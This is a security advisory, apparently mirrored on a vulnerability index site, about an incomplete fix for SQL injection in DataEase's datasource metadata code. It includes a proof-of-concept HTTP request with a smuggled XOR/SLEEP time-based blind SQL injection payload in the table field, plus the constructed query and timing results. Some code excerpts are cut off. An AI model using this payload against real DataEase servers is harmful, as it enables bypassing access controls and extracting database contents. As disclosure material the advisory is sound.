GHSA-XCR3-P567-5C8C
SQL Injection in Datasource Metadata Identifiers (Incomplete Fix for GHSA-8hgp-vw27-hxph)
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XCR3-P567-5C8C divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Impact
#### Summary
The published fix for GHSA-8hgp-vw27-hxph https://github.com/dataease/dataease/security/advisories/GHSA-8hgp-vw27-hxph ("SQL Injection in datasource metadata identifiers", published 2026-07-30) did not take effect across the metadata sinks listed in the original advisory. In DataEase v2.10.26 and v3.0.0, user-supplied table and metadata identifiers in `CalciteProvider.java` remain unparameterized and unescaped. An authenticated attacker can perform boolean- and time-based blind SQL injection via the `/de2api/datasetData/tableField` endpoint by exploiting single-quote handling gaps and using `XOR` to bypass the keyword word-boundary checks. The injected SQL executes with the credentials DataEase stores for the target datasource, allowing attackers with read permissions to bypass table- and dataset-level permission boundaries.
#### Affected Code
The four sinks originally enumerated in GHSA-8hgp-vw27-hxph remain unpatched in `core/core-backend/src/main/java/io/dataease/datasource/provider/CalciteProvider.java`:
- `getTableFiledSql` (MySQL, DB2, PostgreSQL, SQL Server families):
// CalciteProvider.java:1486
sql = String.format("... WHERE TABLE_NAME = '%s'",
datasourceRequest.getTable());
```
- `getSchemaSql` (DB2 family):
- Oracle session configuration:
- datasourceConfiguration.getSchema());
- `getTableTypeMap`:
While `getTablesSql` in `CalciteProvider.java` was parameterized in v2.10.26, the `getTableFiledSql` and related identifier sinks listed above were not parameterized or escaped, leaving them open to exploitation on both `dev-v2` and `v3.0.0`.
#### Technical Analysis
The vulnerability in `getTableFiledSql` can be exploited due to three compounding weaknesses:
- Validation helper ignores single quotes:
- Missing string escaping at call site:
- Keyword word-boundary bypass via `XOR`:
Vulnerability Reproduction / POC
Prerequisites:
- Target: DataEase v3.0.0 or v2.10.26
- Backing database: MySQL (e.g. MySQL 8.4.x)
- An authenticated user account with access to the datasource
- Precondition: The target endpoint invokes `DatasetCacheManage.validateTable` before reaching the sink, verifying that the table exists in the target datasource. In testing, a table whose name contains the payload was created in the datasource.
Attack Request:
POST /de2api/datasetData/tableField HTTP/1.1
Content-Type: application/json
X-DE-TOKEN: <VALID_TOKEN>
X-DE-EXECUTE-VERSION: 3.0.0
{
"type": "db",
"datasourceId": "<DATASOURCE_ID>",
"isCross": false,
"info": "{\"table\":\"x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#\"}"
}Constructed Query:
The server constructs and executes the query via a plain JDBC `Statement`:
SELECT COLUMN_NAME,DATA_TYPE,COLUMN_COMMENT,... FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = '<db>' AND TABLE_NAME = 'x' XOR IF(SUBSTR(USER(),1,1)='r',SLEEP(5),0)#'The single quote closes the string literal, `XOR` chains the conditional expression, and the `#` character comments out the remainder of the query.
Timing Verification:
Testing boolean-based blind injection with matching vs non-matching conditions demonstrates an ~900x execution time difference:
- Condition True (`SUBSTR(USER(),1,1)='r'`): ~30,192 ms (`(conn=1438) Query execution was interrupted`)
- Condition False (`SUBSTR(USER(),1,1)='z'`): ~33 ms to 36 ms (immediate normal response)
Using this timing discrepancy, database metadata and sensitive values can be extracted character-by-character.
#### Impact
The injected SQL executes under the context and privileges of the credentials configured for that datasource in DataEase. An authenticated user possessing only limited read access to a datasource can execute arbitrary SQL queries against the underlying database, bypassing DataEase's internal table- and dataset-level access controls.
Affected versions
- Affected versions <= v2.10.26
- Affected versions v3.0.0
Patches
The vulnerability will be addressed in v2.10.27 and v3.1.0.
References
If you have any questions or comments about this advisory:
- Open an issue in https://github.com/dataease/dataease
- Email us at wei@fit2cloud.com
- Related Advisory: GHSA-8hgp-vw27-hxph
https://github.com/dataease/dataease/security/advisories/GHSA-8hgp-vw27-hxph
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Mavenio.dataease |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/dataease/dataease/security/advisories/GHSA-xcr3-p567-5c8cLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
